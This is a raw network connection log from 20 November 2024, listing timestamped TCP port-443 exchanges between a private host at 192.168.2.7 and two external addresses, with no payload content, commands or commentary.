Nov 20, 2024 17:42:22.820940971 CET	49951	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.820952892 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.875998974 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:22.919337034 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.034354925 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.034451008 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.034507036 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.037899971 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.037931919 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.037956953 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.037971020 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.057353020 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.057383060 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.057473898 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.058309078 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.058329105 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.112593889 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.116746902 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.116803885 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.116812944 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.116861105 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.116939068 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.116957903 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.116975069 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.116982937 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.119875908 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.119913101 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.119976044 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.120258093 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:23.120271921 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:23.434175014 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.434201956 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.434210062 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.434278965 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.434292078 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:23.434319973 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.434346914 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.434384108 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.434408903 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:23.434408903 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:23.434408903 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:23.434432983 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:23.477741003 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.477866888 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.477901936 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:23.477911949 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:23.477966070 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:24.550403118 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.550982952 CET	49951	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.551023960 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.551512003 CET	49951	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.551522970 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.607815981 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.608304977 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.608341932 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.608699083 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.608710051 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.746995926 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:24.747076988 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:24.747137070 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:24.747155905 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:24.786776066 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.787297010 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.787309885 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.789086103 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.789098024 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.798964977 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.799447060 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.799489021 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:24.800115108 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:24.800122976 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.181720018 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.183681011 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.183718920 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.213967085 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.213978052 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.229099989 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.229268074 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.230716944 CET	49951	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.230811119 CET	49951	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.230811119 CET	49951	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.230865002 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.230899096 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.233935118 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.233983040 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.234158039 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.234380007 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.234395027 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.238245964 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.239269018 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.243232012 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.244937897 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.244961977 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.244977951 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.244985104 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.371225119 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.371258020 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.371325970 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.371351004 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.371486902 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.373061895 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.373095036 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.373138905 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.373147964 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.373162985 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.373209000 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.472455025 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.472455025 CET	49954	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.472476006 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.472485065 CET	443	49954	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.473509073 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.473535061 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.473547935 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.473556042 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.479043007 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.479147911 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.479238033 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.480365038 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.480391026 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.480459929 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.481981039 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.482039928 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.482424021 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.482438087 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.483804941 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.483856916 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.483921051 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.484107971 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.484138966 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.689232111 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.694025040 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.694367886 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.694448948 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.694472075 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.694483042 CET	49955	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.694489002 CET	443	49955	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.697940111 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.697988033 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:25.698057890 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.698178053 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:25.698193073 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.124896049 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.159712076 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.159789085 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.161427975 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.161442995 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.235937119 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.239769936 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.239795923 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.240276098 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.240281105 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.365619898 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.366247892 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.366323948 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.367880106 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.367896080 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.369661093 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.370202065 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.370235920 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.370615959 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.370620966 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.574227095 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.574703932 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.574737072 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.575177908 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.575192928 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.682209015 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.686316013 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.686381102 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.686471939 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.686536074 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.686554909 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.686563969 CET	49963	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.686569929 CET	443	49963	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.690174103 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.690215111 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.691237926 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.691389084 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.691396952 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.817409039 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.818945885 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.819088936 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.861635923 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.861655951 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.861669064 CET	49967	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.861673117 CET	443	49967	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.871622086 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.871643066 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.871715069 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.871995926 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.872004986 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.882600069 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.885845900 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.885901928 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.886004925 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.886109114 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.886123896 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.886137009 CET	49966	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.886143923 CET	443	49966	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.889417887 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.889435053 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.889492989 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.889615059 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.889626026 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.896955013 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.899821997 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.899879932 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.899910927 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.899918079 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.899931908 CET	49965	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.899935961 CET	443	49965	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.901947975 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.901971102 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:27.902153015 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.902275085 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:27.902288914 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:28.044873953 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:28.050570965 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:28.050632000 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:28.115644932 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:28.115675926 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:28.115686893 CET	49968	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:28.115693092 CET	443	49968	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:28.120460987 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:28.120486975 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:28.120543003 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:28.120979071 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:28.120990992 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.578603983 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.579725981 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.579751968 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.581536055 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.581542015 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.687500954 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.688016891 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.688040972 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.689546108 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.689549923 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.732203960 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.732562065 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.732594967 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.732965946 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.732973099 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.807049990 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.807702065 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.807715893 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.808187962 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.808195114 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.881122112 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.882662058 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.882672071 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:29.883337975 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:29.883342981 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.041002035 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.041788101 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.041846037 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.041908026 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.041930914 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.041945934 CET	49973	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.041953087 CET	443	49973	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.045142889 CET	49984	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.045229912 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.045352936 CET	49984	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.045556068 CET	49984	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.045592070 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.121819019 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.125168085 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.125243902 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.125287056 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.125287056 CET	49975	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.125309944 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.125322104 CET	443	49975	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.128158092 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.128246069 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.128333092 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.128494024 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.128526926 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.179522991 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.181107044 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.181168079 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.181189060 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.181221962 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.181400061 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.181420088 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.181432962 CET	49974	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.181438923 CET	443	49974	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.189565897 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.189620018 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.191349030 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.191515923 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.191548109 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.258748055 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.262604952 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.262645960 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.262717009 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.262912035 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.262936115 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.262949944 CET	49976	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.262957096 CET	443	49976	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.266375065 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.266458988 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.266535044 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.266766071 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.266798019 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.317188978 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.320375919 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.321285009 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.321285009 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.321305037 CET	49977	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.321315050 CET	443	49977	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.324048042 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.324063063 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:30.327318907 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.343203068 CET	49988	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:30.343214989 CET	443	49988	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:31.862896919 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:31.863477945 CET	49984	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:31.863547087 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:31.864011049 CET	49984	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:31.864023924 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:31.879479885 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:31.879868984 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:31.879889011 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:31.880302906 CET	49985	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:31.880307913 CET	443	49985	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.096932888 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.097572088 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.097625017 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.098078012 CET	49986	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.098095894 CET	443	49986	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.160816908 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.161190987 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.161211967 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.161564112 CET	49987	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.161569118 CET	443	49987	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.305691004 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.309676886 CET	443	49984	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:32.311254025 CET	49984	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.311356068 CET	49984	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:32.311356068 CET	49984	443	192.168.2.7	13.107.246.63
